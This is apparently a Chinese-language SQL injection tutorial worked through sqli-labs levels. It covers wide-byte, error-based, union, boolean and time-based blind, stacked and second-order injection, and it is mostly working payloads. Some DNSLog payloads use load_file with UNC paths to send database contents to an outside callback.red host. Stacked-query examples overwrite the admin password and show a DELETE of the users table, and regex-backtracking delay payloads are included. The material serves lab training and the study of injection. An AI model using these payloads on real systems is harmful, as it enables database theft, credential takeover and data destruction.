1-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name=(select table_name from information_schema.tables where table_schema=(database()) limit 3,1)),3--+
2
3# limit 3,1 截取表,例如查看flag表:limit 1,1

image

1-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name=(select table_name from information_schema.tables where table_schema=(database()) limit 1,1)),3--+

image

获取数据

1-1%df' union select 1,flag,3 from flag_is_here--+

image

或者:

1-1%df' union select 1,(select group_concat(username,0x5e,password) from users),3--+

image

结合报错函数注入

11%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

image

获取表名:

11%df' and updatexml(1,concat(0x7e,(select (group_concat(table_name))from information_schema.tables where table_schema=(database())),0x7e),1)--+

获取users字段名:

12%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+

获取数据:

1?id=2%df' and updatexml(1,concat(0x7e,(select (password)from security.users limit 7,1 ),0x7e),1)--+

sqlmap

unmagicquotes.py 是专门进行宽字节绕过脚本

获取数据库:

1sqlmap -u "http://192.168.1.21/sqli/Less-32/?id=1" --tamper=unmagicquotes.py --dbs

获取表名:

1sqlmap -u "http://192.168.1.21/sqli/Less-32/?id=1" --tamper=unmagicquotes.py -D "security" --tables

获取列名:

1sqlmap -u "http://192.168.1.21/sqli/Less-32/?id=1" --tamper=unmagicquotes.py -D "security" -T "flag_is_here" --columns

获取数据:

1sqlmap -u "http://192.168.1.21/sqli/Less-32/?id=1" --tamper=unmagicquotes.py -D "security" -T "flag_is_here" --dump

image

拓展

连接层

MySQL中存在一个中间层结构负责客户端和服务器之间的连接,称为连接层

字符集转换流程

  1. 客户端(如PHP)以文件默认编码生成SQL语句发送至MySQL服务器

  2. MySQL服务器将SQL语句转为连接层字符集

  3. 转换过程依赖两个关键变量:

    • character_set_client:客户端的字符集
    • character_set_connection:连接层的字符集

转换执行流程

  1. PHP将SQL语句以character_set_client编码(转为16进制数)
  2. 将16进制数以character_set_connection进行编码(转换为url编码)
  3. 内部操作时进行url解码
  4. 最终以character_set_results编码输出结果

内部操作字符集的确定(优先级从高到低)

  1. 使用每个数据字段的CHARACTER SET设定值
  2. 若字段没有设定,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展功能)
  3. 若表也没有设定,则使用对应数据库的DEFAULT CHARACTER SET设定值
  4. 若数据库也没有设定,则使用character_set_server设定值

关键变量说明

  • character_set_client:告知MySQL服务器客户端发送的数据使用的字符集
  • character_set_connection:服务器将客户端数据转换为此字符集进行内部处理
  • character_set_results:服务器返回查询结果时使用的字符集
  • character_set_server:服务器默认字符集(当其他层级未明确指定时使用

查看编码

1use security;
2show variables like 'char%';
3show create table users;

image

当代码中指定了SET NAMES 'gbk'等同于如下:

  • character_set_client 客户端使用的编码,如GBK, UTF8 比如你写的sql语句是什么编码的。

  • character_set_results 查询返回的结果集的编码(从数据库读取的数据是什么编码的)。

character_set_connection 连接使用的编码:

image

DNSLog注入

首先我们知道DNS是起ip与域名的解析的服务,通过ip可以解析到对应的域名。DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件。

通俗说就是有个域名 test.com​,将域名设置对应的ip 2.2.2.2​上,当向dns服务器发起test.com​的解析请求时,DNSlog中会记录下他给test.com​解析,解析值为 2.2.2.2,而这个解析的记录的值就是要利用的地方,这个过程被记录下来就是DNSlog。

DNSLog平台

DNS(Domain Name System):负责将域名转换为IP地址,以便浏览器能访问对应服务器上的服务。

DNSlog:即DNS的日志,记录了域名解析时的域名和解析IP的信息。

DNSlog外带原理:通过在高级域名中嵌入信息,利用DNS解析时留下的日志,将信息传递并读取,以获取请求信息。

在线DNSLog平台:CallBack.Red Dns、Http、Rmi、Ldap Log、CmdtoDNSLog

自己搭建:首先需要有一个可以配置的域名,比如:a.com,然后通过代理商设置域名 a.com 的 nameserver (NS记录)为自己的服务器 B,然后再服务器B上配置好 DNS Server,这样以来所有 a.com及其子域名的查询都会到 服务器 B上,这时就能够实时地监控域名查询请求了。

image

B服务器运行DNS解析服务程序,作为DNS域名服务器,接受来自53端口的DNS解析请求,并将DNS query继续递归查询,完成昀终查询,相当于一个DNS query proxy的作用。

NS(Name Server):NS记录是域名服务解析记录,NS用来指定该域名由哪个DNS服务器来进行解析,可以把一个域名的不同二级域名分别指向到不同的DNS系统来解析。

A记录:A (Address) 记录是用来指定主机名(或域名)对应的IP地址记录

回显原理

ping 命令的时候会用到DNS解析,首先获取一个dnslog地址 uwj5.callback.red

执行 ping %username%.uwj5.callback.red​,然后点击刷新,可以看到解析的日志会把%USERNAME%​的值给带出来,因为系统在ping命令之前会将%USERNAME%​的值解析出来,然后再和uwj5.callback.red​拼接起来,最后ping命令执行将p0w3r.uwj5.callback.red.一起发给DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog。

image

应用场景

显错注入(有回显点的),盲注(注入的效率低且线程高容易被waf拦截)

关键函数:Load_file(),用于读取文件并返回其内容为字符串

LOAD_FILE​函数是MySQL提供的一个内置函数,用于读取本地文件内容并返回其内容为字符串。如果文件不存在或无法读取,则返回NULL,其基本语法如下:

1LOAD_FILE(str)
2LOAD_FILE(file_name)
3
4- file_name:必须是文件的完整路径,比如:D:/test.txt
5此外还支持UNC路径,此为Windows独有的:\\win7test\share\file.txt

image

UNC路径(Universal Naming Convention,通用命名规则)是一种用于标识网络资源的命名规范,主要用于局域网内的资源访问。它提供了一种标准化的方式来引用网络上的共享文件夹和文件。

UNC路径的基本格式为:

1\\servername\sharename
2
3- servername 是服务器的名称。
4- sharename 是共享资源的名称。

如访问共享文件(这种用反斜杠是微软喜欢反着来,在微软文件夹里查询需要反斜杠)

如果要在url中用正斜杠//​,如果硬要用反斜杠,得另外加反斜杠来转义,unc路径就要四个反斜杠\\\\

UNC实例及解读://xclay.net/share/张三/账单.docs

如果访问上述UNC路径的话,就会得到xclay.net​ 服务器的share​共享文件夹下的张三​文件夹下的账单.docs文件

前提条件

  1. 存在注入点
  2. 拥有数据库的root权限,普通权限是没办法执行load_file()这个函数的。
  3. 数据库具有文件读写权限:secure_file_priv 权限。
  4. MySQL服务器具备请求URLL,或者是请求网络的权限。
  5. 必须要是Windows服务器环境:UNC路径是windows特有的

因为请求远程地址的时候,要用UNC路径,使用 //​ 开头,或者 \\\\ 开头

MySQL 的secure_file_priv系统变量会限制导入 / 导出文件的操作范围。

查看 secure_file_priv​ 权限:SHOW VARIABLES LIKE 'secure_file_priv';

image

修改mysql的配置文件my.ini​或者mysql.ini,添加:

1secure_file_priv = ""

其他:

  • secure_file_priv=null:默认,不允许 MySQL 导入导出;
  • secure_file_priv=/tmp/:仅允许 /tmp/ 目录下的导入导出;
  • secure_file_priv = "":导入导出无限制;

实操

以Sqli-labs Less-9 为例,不管输入啥,只显示 You are in.....

image

为什么选择DNSLog注入?

如果进行盲注的话,sleep判断,length判断,substr截取,ascii判断 ,会非常麻烦。

首先获取一个dnslog地址:8lax.callback.red​,因为请求的是远程地址,所以要用UNC路径,使用 //​ 开头,或者 \\\\ 开头,所以前面需要使用concat函数进行拼接。话不多说,直接开注。

常规测试一下,是否存在注入:

11' and load_file(concat('//',(select database()),'.8lax.callback.red'))--+

image

发现并没有结果,这是为什么?

使用UNC路径的时候,需要符合其语法标准,也就是路径中必须加文件名,存在与否不相干。

因此:

11' and load_file(concat('//',(select database()),'.8lax.callback.red/abc'))--+

image

获取数据库

由于load_file()一次只能传输一条数据 ,所以需要limit

1?id=1' and load_file(concat('//',(select schema_name from information_schema.schemata limit 0,1),'.8lax.callback.red/abc'))--+
2
3?id=1' and load_file(concat('//',(select schema_name from information_schema.schemata limit 1,1),'.8lax.callback.red/abc'))--+

image

image

获取表名

由于load_file()一次只能传输一条数据 ,所以需要limit

1?id=1' and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.8lax.callback.red/abc'))--+
2
3?id=1' and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.8lax.callback.red/abc'))--+

image

image

获取列名

1?id=1' and load_file(concat('//',(select column_name from information_schema.columns where table_name='flag_is_here' limit 0,1),'.8lax.callback.red/abc'))--+

image

获取数据

1?id=1' and load_file(concat('//',(select flag from flag_is_here limit 0,1),'.8lax.callback.red/abc'))--+

这时会发现没有记录,这是怎么回事,原来域名里有一个规则,只能出现数字,字母,下划线;所以在获取到的信息中包含了其他特殊符号时,load_file就会认为是一个错误的域名,就不会去从网络中解析了。

可以使用hex编码

1?id=1' and load_file(concat('//',(select hex(flag) from flag_is_here limit 0,1),'.8lax.callback.red/abc'))--+

发现还是没有记录,又发生了什么这是?

原来域名有一个限制:每段不能超过63个字符,超出长度就不解析了,并且总域名长度不能超过253个字符。

那好办,加一个截取函数:

1?id=1' and load_file(concat('//',(select substr(hex(flag),1,63) from flag_is_here limit 0,1),'.8lax.callback.red/abc'))--+
2
3?id=1' and load_file(concat('//',(select substr(hex(flag),64,63) from flag_is_here limit 0,1),'.8lax.callback.red/abc'))--+

image

image

进行解码,成功得到flag:

image

group_concat

除了使用concat​函数之外,还可以使用group_concat​函数,需要注意的是,group_concat​函数默认使用 ",​" 连接查询到的数据,然而,​不能出现在域名中,所以可以利用 .​ (点号) 也可以用 _(下划线)进行拼接,建议的话用点好比较好,防止数据库库名中本身存在下划线。

或者通过正则替换将replace中的 “,​”全部替换为 “ _​ ”或 .

1?id=1' and load_file(concat('//',(select substr(group_concat(schema_name separator '_'),1,63) from information_schema.schemata),'.1bjt.callback.red/abc'))--+

image

1?id=1' and load_file(concat('//',(select substr(group_concat(table_name separator '_'),1,63) from information_schema.tables where table_schema=database()),'.1bjt.callback.red/abc'))--+

image

此时,用_​分割就不如用.更加美观

1?id=1' and load_file(concat('//',(select substr(group_concat(table_name separator '.'),1,63) from information_schema.tables where table_schema=database()),'.1bjt.callback.red/abc'))--+

image

1?id=1' and load_file(concat('//',(select substr(group_concat(column_name separator '.'),1,63) from information_schema.columns where table_name='flag_is_here'),'.1bjt.callback.red/abc'))--+

image

1?id=1' and load_file(concat('//',(select substr(group_concat(flag separator '.'),1,63) from 'flag_is_here'),'.1bjt.callback.red/abc'))--+

因为flag中包含{}​为特殊字符,所以进行Hex编码

1?id=1' and load_file(concat('//',(select substr(hex(group_concat(flag separator '.')),1,63) from flag_is_here),'.1bjt.callback.red/abc'))--+
2
3?id=1' and load_file(concat('//',(select substr(hex(group_concat(flag separator '.')),64,63) from flag_is_here),'.1bjt.callback.red/abc'))--+

image

image

进行解密:

image

堆叠注入

原理

在 SQL 语法中,分号 ; 表示一条语句的结束。如果数据库和后台代码允许在一个 API 调用中执行多条语句,攻击者就可以利用这一点。

1mysql> select * from users where id = 1;select version();
2+----+----------+----------+
3| id | username | password |
4+----+----------+----------+
5|  1 | Dumb     | Dumb     |
6+----+----------+----------+
71 row in set (0.00 sec)
8
9+-------------------------+
10| version()               |
11+-------------------------+
12| 5.5.44-0ubuntu0.14.04.1 |
13+-------------------------+
141 row in set (0.00 sec)

正常场景: 后台代码只希望执行一条查询:

堆叠注入场景: 攻击者输入 1; DELETE FROM users,构造成:

1SELECT * FROM users WHERE id = 1; DELETE FROM users;

数据库执行完第一句查询后,紧接着执行第二句删除表的操作。

与联合注入相比,堆叠注入最明显的差别便是它的权限更大了,例如使用联合注入时,后端使用的是 select 语句,那么我们注入时也只能执行 select 操作,而堆叠查询是一条新的 SQL 语句,不受上一句的语法限制,操作的权限也就更大了

特性 UNION 注入 堆叠注入
核心限制 必须由SELECT语句组成。 可以执行任意类型的语句。
列数要求 前后查询的列数、数据类型必须一致。 没有列数或类型的限制。
主要目的 窃取数据(查看数据库里的内容)。 破坏或篡改(添加管理员、删除数据、开启系统命令)。
语句示例 ... UNION SELECT user, pass ... ... ; INSERT INTO admins ...

利用条件

堆叠注入能否成功,不完全取决于数据库本身,主要取决于应用程序用来连接数据库的“驱动”或“API”配置,并且在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略。

  • MySQL + PHP

    • 旧版的 mysql_query()​ 函数不支持多条语句(防堆叠)。
    • 新版的 mysqli_multi_query()​ 或 PDO 驱动​可能支持(取决于配置)。
    • 因此,在很多 PHP 网站中,堆叠注入无法使用。
  • Java (JDBC)

    • 默认情况下通常允许,或者配置较为宽松。
  • SQL Server (MSSQL) & PostgreSQL

    • 这两者对多语句执行的支持非常友好,堆叠注入在这些环境中非常常见且危险。
  • Oracle

    • 通常不支持直接在动态 SQL 中使用堆叠注入,除非是在特定的 PL/SQL 块中,利用难度极高。

实操

以sqli-labs 第 38 关为例

image

判断注入点

测试参数id:

1?id=1
2?id=1'

image

image

判断闭合方式

1?id=1'%23

image

判断列数

1?id=1' union select 1,2,3%23

image

获取回显点

1?id=-1' union select 1,2,3%23

image

获取数据库

1?id=-1' union select 1,database(),@@version%23

image

获取表名

1select group_concat(table_name) from information_schema.tables where table_schema=database()
2
3?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

image

获取列

获取当前数据库下users表的列名

1select group_concat(column_name) from information_schema.columns where table_name='users'
2
3?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

image

获取数据

获取当前数据库users表的username、password数据:

1?id=-1'union select 1,group_concat(username,':',password SEPARATOR ','),3 from users%23

image

可以看到当前admin的密码是admin

堆叠注入

使用堆叠语句将admin用户的密码改为test123456:

1?id=1';update users set password='test123456' where username='admin';%23

image

再次查询admin用户的数据:

1?id=-1'union select 1,group_concat(username,':',password SEPARATOR ','),3 where username='admin' from users%23

image

密码被成功更改,堆叠注入成功。

二次注入

原理

二次注入(又称存储型 SQL 注入)是一种隐蔽性很强的注入攻击。与普通注入(一次注入)不同,它的攻击过程分为两个阶段:

  1. 存入阶段(第一阶): 攻击者构造恶意的 Payload(如包含单引号 '​ 的字符串)。应用程序在接收数据时,虽然进行了转义(如使用 mysql_real_escape_string​),导致 Payload 无法立即触发注入,但它被原样(或去转义后)存储到了数据库中。
  2. 执行阶段(第二阶): 应用程序在后续的业务逻辑中,从数据库取出这个恶意数据,并将其拼接到了新的 SQL 查询语句中。此时,如果应用程序没有再次进行过滤或参数化处理,恶意的 SQL 语句就会被执行。

利用条件

知道数据库中的列名且使用了magic_quote_gpc等对引号进行过滤

实操

以sqli-labs 第 24 关为例

image

  • SELECT 语句: WHERE 子句、ORDER BY 子句、表名或列名位置。
  • UPDATE 语句: 更新的值或 WHERE 子句。
  • INSERT 语句: 插入的值中。

注入流程

  1. 判断注入点
  2. 判断注入类型
  3. 判断注入方式
  4. 判断回显位
  5. 获取数据库
  6. 获取数据表
  7. 获取数据列
  8. 获取数据

注入攻击是 Web 安全领域中一种最为常见的攻击方式。

XSS 本质上也是一种针对 HTML 的注入攻击。

注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件:

  • 用户能够控制输入
  • 原本程序要执行的代码,拼接了用户输入的数据。

UNION联合查询注入

union联合查询和报错注入,手工快去sqlmap

union的作用就是合并两个 select 语句查询的结果,并且两个查询结果的列数必须相同。

SQLi-Labs Less1

关键查询语句:sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

判断注入点

利用'(单引号)或者"(双引号)来判断是否存在漏洞

1id=1

image

1id=1'

image

得到注入点为id

判断注入类型

根据前面输入的1'页面的结果,可以猜测出闭合方式为单引号

输入的 引号'被闭合了,但是没有闭合后面的引号,导致后面的引号报错了,尝试闭合:

1?id=1'%23

image

1?id=1'and '1'='1

image

页面返回正常,猜测正确,为字符型注入,闭合方式为单引号

获取列数

order by语句可以根据列数进行排序,因此该语句可以判断查询结果的列数

1?id=1'order by 1%23
2?id=1'order by 2%23
3?id=1'order by 3%23
4?id=1'order by 4%23

image

order by 4 报错,说明只有三列。

union联合查询

为什么先判断字段数才可再使用 union 联合查询?

后续使用union select进行联合查询时前后列数要保持一致。

获取回显位

1?id=-1'union select 1,2,3%23

image

得到第2和第3列是显示数据的地方。因此之后的查询语句要放到这两个位置上。

问:为什么使用select 1,2,3

答:简单高效

问:前面的id为为什么=-1

答:为了让后面的1,2,3显示在页面上。如果页面只显示一行数据的话,那么就会把id=1的内容显示出来,因此要构造前面查询不到的id,才显示后面的1,2,3

获取数据库

1?id=-1'union select 1,database(),@@version%23

image

获取全部的数据库:

1?id=-1'union select 1,schema_name,@@version from information_schema.schemata%23

image

使用group_concat拼接一下:

1?id=-1'union select 1,group_concat(schema_name),@@version from information_schema.schemata%23

image

默认显示1024个字节,如果超过,可以使用substr函数截取进行显示

1?id=-1'union select 1,substr(group_concat(schema_name),1,64),@@version from information_schema.schemata%23
2
3?id=-1'union select 1,substr(group_concat(schema_name),64,128),@@version from information_schema.schemata%23

image

获取表名

获取当前数据库的表名:

1select group_concat(table_name) from information_schema.tables where table_schema=database()
2
3?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

image

获取其他数据库的表:

1# 用引号
2group_concat(table_name) from information_schema.tables where table_schema='数据库名'
3
4# hex编码
5group_concat(table_name) from information_schema.tables where table_schema=0x776F6F79756E
6
7# hex解码
8group_concat(table_name) from information_schema.tables where table_schema=unhex(7365637572697479)

获取列名

获取当前数据库下users表的列名

1select group_concat(column_name) from information_schema.columns where table_name='users'
2
3?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

image

如果要查询其他数据库下表的列名:

1select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名';

获取数据

获取当前数据库users表的username数据:

1?id=-1'union select 1,username,3 from users%23

image

获取多个列:

1?id=-1'union select 1,group_concat(username,':',password SEPARATOR ','),3 from users%23

image

获取其他数据库下的数据:

1select group_concat(字段名) from 数据库名.表名
2
3?id=-1'union select 1,group_concat(username,':',password SEPARATOR ','),3 from webshop_db.users%23

image

盲注

建议直接使用sqlmap

盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。通俗的讲就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。

类似于无法开口说话的人,只能通过点头和摇头来告诉你答案的正确与否。

常用函数

函数 含义
length(s) 返回字符串s的长度
left(s,n) 返回字符串s的前n个字符
mid(s,n,len) 从字符串 s 的 start 位置截取长度为 length 的子字符串
substr(s,start,len) 从字符串 s 的 start 位置截取长度为 len 的子字符串
ascii(s) 返回字符串s的第一个字符的ascii码值
ord(s) 返回字符串s的第一个字符的ascii码值
if(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
ifnull(expr1,expr2) 如果 expr1 不是NULL,返回 expr1,否则返回 expr2
limit start,len 从start位置截取len长度的字符,start从0开始
count() 统计
sleep(n) 睡眠n秒

布尔盲注

布尔(Boolean)是一种数据类型,通常是真和假两个值,进行布尔盲注入时实际上使用的是抽象的布尔概念,即通过页面返回正常(真)与不正常(假)判断注入是否成功。

判断布尔盲注

sqli-labs->Less-8

1?id=1
2?id=1'

image

image

发现页面无法进行显示 SQL 查询的数据,导致之前使用的显错注入就无法成功注入,并且页面只有两种类型,因此可猜测为布尔盲注,正常页面返回真,错误页面返回假。

判断闭合方式

1?id=1' and 1=1#
2?id=1' and 1=2#

image

image

得出为字符型闭合方式。

获取数据库

获取数据库长度
1?id=1' and length(database())=8%23

image

猜解数据库名字

使用ascii函数获取数据库每一个字符:

1?id=1' and ascii(substr(database(),1,1))=115%23
2?id=1' and ascii(substr(database(),2,1))=101%23
3?id=1' and ascii(substr(database(),3,1))=99%23
4?id=1' and ascii(substr(database(),4,1))=117%23
5?id=1' and ascii(substr(database(),5,1))=114%23
6?id=1' and ascii(substr(database(),6,1))=105%23
7?id=1' and ascii(substr(database(),7,1))=116%23
8?id=1' and ascii(substr(database(),8,1))=121%23

image

得到数据库:security

获取表

统计表个数

由于无法看到有多少个表,为了避免无效查询,所以先获取表的数量。

使用count()函数统计数据表中包含的记录行的总数,或者根据查询结果返回列中包含的数据行。

1?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4%23

image

image

由此可以得知该数据库有四张表

获取表名长度

获取第一个表的长度:

1?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6%23

image

获取其他表的长度:

1?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6%23
2
3?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=6%23
4
5?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=6%23
获取表名

使用ascii函数获取第一个表名每一个字符:

1?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
2
3?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23
4
5?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97%23
6
7?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=105%23
8
9?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=108%23
10
11?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=115%23

image

成功得到第一个表名:emails

获取其他表名,只需要更改limit函数参数即可。

获取列

统计列的个数

由于无法看到有多少列,为了避免无效查询,所以先获取列的数量。

使用count()函数统计数据表中包含的记录列的总数,或者根据查询结果返回列中包含的数据行。

1?id=1' and (select (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=2)%23

image

image

成功得到当前数据库下emails表中有两列值

获取列名长度

获取第一个表的长度:

1?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1))=2%23

image

获取第二个表的长度:

1?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 1,1))=8%23

image

获取列名

使用ascii函数获取第一个列名每一个字符:

1?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105)%23
2
3?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),2,1))=100)%23

image

得到第一个列名:id

获取第二个表的列名,只需要更改limit函数的参数即可。

获取数据

经过上述查询,已经得到:

1数据库:security
2表:emails
3列:id,email_id
统计记录行

由于无法看到有多少行的数据,为了避免无效查询,所以先获取数据的行数。

1?id=1' and (select count(id) from emails)=8%23

image

因此得到有8行的数据

获取数据长度

获取第一行emild_id数据的长度:

1?id=1' and length((select email_id from emails limit 0,1))=16%23

image

得到第一行email_id的长度是16位

获取第二行emild_id数据的长度:

1?id=1' and length((select email_id from emails limit 1,1))=16%23
获取数据内容

使用ascii函数获取数据的详细内容:

1?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1))=68%23

image

得到数据的第一位为:D

然后就是更改substr函数的参数,挨个字符进行测试。

获取第二行的数据时,只需要更改limit的参数即可。

时间盲注

在页面中,不管用户输入什么,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况可以利用页面响应的时间来判断SQL语句有没有在目标数据中得到执行。

特殊延迟方法

除了常用函数提到的sleep可以造成页面的延迟,还有以下几种特殊方法可以造成延迟。

BENCHMARK
1benchmark(count,expr);

用于基准测试函数的性能,参数一为运算次数,参数二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。

1and if(ascii(substr(database(),1,1))>115,BENCHMARK(10000000000,md5(233)),1)

这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep() 函数进行注入。

笛卡尔积延迟法

笛卡尔积延迟法是一种通过构造 “笛卡尔积查询” 触发数据库性能消耗,从而产生可控时间延迟的注入技巧。其核心逻辑是利用笛卡尔积对大数据量的 “暴力关联计算” 特性,让数据库执行耗时操作,以此替代 sleep()/benchmark() 等直接延迟函数(当这类函数被禁用时尤其有效)。

什么是笛卡尔积

笛卡尔积是数据库中多表关联查询的一种特殊情况 —— 当两张表关联时不指定任何关联条件,数据库会将表 A 的每一行与表 B 的每一行强制匹配,生成 “表 A 行数 × 表 B 行数” 的结果集。

例如:

  • 表 A(users)有 1000 行数据;
  • 表 B(orders)有 2000 行数据;
  • 执行 select * from users, orders;(无关联条件的笛卡尔积),会生成 1000×2000=2,000,000 行结果。

由于结果集规模呈 “乘积级” 膨胀,数据库需要消耗大量 CPU 和内存进行计算,执行时间会显著变长—— 这正是笛卡尔积延迟法的核心原理。

示例:

1select count(*) from userA,userB;
2
3SELECT count (*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C;
4
5select count(*) from information_schema.tables,information_schema.columns b,user as c,user as d,user as e,user as f;
6
7if(2>1,延迟语句,1)
get_lock
1select get_lock('a',3);

条件:针对数据库连接的长连接有效。

php 一般 解释执行完毕后,就会关闭数据库连接,下次请求的时候再次连接数据库。

java 维护一个数据库连接池,长时间连接,需要处理请求时,拿出来进行sql查询,查询完后,放回数据库连接池。

GET_LOCK(锁名称, 超时时间):申请一个名为 “锁名称” 的独占锁,规则如下:

  • 若锁未被占用 → 申请成功,返回 1,且锁会一直持有(直到主动释放或会话结束)
  • 若锁已被占用 → 进入阻塞状态,直到超时时间到才返回 0(阻塞期间会产生延迟)
  • 超时时间设为 0 → 不阻塞,直接返回 0(无延迟)
rlike

RLIKE 是 MySQL 中用于正则表达式匹配的运算符,语法为 字符串 RLIKE 正则模式

  • 若字符串符合正则模式 → 返回 1(匹配成功)
  • 若不符合 → 返回 0(匹配失败)
  • 关键特性:复杂正则模式(如嵌套重复、回溯多的模式,或者大量的匹配规则)会消耗更多 CPU,导致匹配耗时变长(这是延迟的核心来源)
参数 调整方式 对延时的影响
目标字符串长度 增加 'a' 的数量(如从 10 个→50 个) 长度越长,回溯次数越多,延时越久
正则嵌套层数 (a+)+b((a+)+)+b 嵌套越多,匹配逻辑越复杂,延时越久
正则匹配次数 增加 and 'a...' RLIKE ... 的次数 次数越多,总耗时 = 单次 × 次数

基础延时正则:单条复杂正则(耗时 1-3 秒)。若密码第 1 位是 't',MySQL 需对 30 个 'a' 的字符串执行 (a+)+b 匹配,回溯次数极多,耗时约 2-3 秒;若不是 't',仅执行 'a' RLIKE 'a'(耗时 < 10ms)。

1-- 注入逻辑:若密码第1位是't'(ASCII=116),则执行复杂正则(延时);否则不执行
2username=admin' and (
3  -- 1. 条件判断:管理员密码第1位是否为't'(char(116)即't')
4  substr((select password from admin limit 1), 1, 1) = char(116)
5  -- 2. 条件成立时:执行触发灾难性回溯的正则(长字符串+复杂模式)
6  and 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa'  -- 30个'a'的长字符串(越长延时越久)
7  RLIKE '(a+)+b'  -- 嵌套重复正则,无匹配结果时触发大量回溯(耗时)
8  -- 3. 条件不成立时:执行简单匹配(无延时)
9  or 'a' RLIKE 'a'
10)

强化延时:多轮正则重复匹配(耗时 5-10 秒)。通过 REPEAT() 函数生成 “多轮重复的正则匹配语句”,进一步放大耗时,10 次复杂正则匹配叠加,总耗时约 5-10 秒。

1-- 注入逻辑:条件成立时,执行10次复杂正则匹配(总延时=单次延时×10)
2username=admin' and (
3  substr((select password from admin limit 1), 1, 1) = char(116)
4  -- 用REPEAT()生成10次复杂正则匹配(每次匹配30个'a')
5  and (select count(*) from (
6    select 1 from information_schema.tables where 
7      'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RLIKE '(a+)+b'  -- 第1次匹配
8      and 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RLIKE '(a+)+b'  -- 第2次匹配
9      and 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RLIKE '(a+)+b'  -- 第3次匹配
10      -- 可继续增加到10次或更多,放大延时
11  ) as t) > 0
12  or 1=1
13) --

极端延时:超长字符串 + 多嵌套正则。增加字符串长度(如 50 个 'a')并使用更复杂的嵌套正则(如 ((a+)+)+b),50 个 'a' + 三层嵌套正则,单次匹配耗时可达 5-8 秒。

1username=admin' and (
2  substr((select password from admin limit 1), 1, 1) = char(116)
3  and 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'  -- 50个'a'
4  RLIKE '((a+)+)+b'  -- 三层嵌套重复,回溯量更大
5  or 1=1
6) --

判断时间盲注

sqli-labs->Less-9

1?id=1
2?id=-1
3?id=1'
4?id=1'#

image

不管输入什么内容,页面都显示一样,没有差别,此时可以利用延时函数进行测试

1?id=1 and sleep(3)%23

image

1?id=1' and sleep(3)%23

image

由此确定是时间盲注,闭合方式为字符型。

之后的注入命令和布尔盲注类似,就是多加一个if函数。

获取数据库

获取数据库长度
1?id=1' and if(length(database())=8,sleep(3),1)%23
猜解数据库名字

使用ascii函数和延迟函数获取数据库每一个字符:

1?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)%23
2?id=1' and if(ascii(substr(database(),2,1))=101,sleep(3),1)%23
3?id=1' and if(ascii(substr(database(),3,1))=99,sleep(3),1)%23
4?id=1' and if(ascii(substr(database(),4,1))=117,sleep(3),1)%23
5?id=1' and if(ascii(substr(database(),5,1))=114,sleep(3),1)%23
6?id=1' and if(ascii(substr(database(),6,1))=105,sleep(3),1)%23
7?id=1' and if(ascii(substr(database(),7,1))=116,sleep(3),1)%23
8?id=1' and if(ascii(substr(database(),8,1))=121,sleep(3),1)%23

获取表

统计表个数

由于无法看到有多少个表,为了避免无效查询,所以先获取表的数量。

使用count()函数统计数据表中包含的记录行的总数,或者根据查询结果返回列中包含的数据行。

1?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1)%23

image

由此得出当前数据库中有4张表

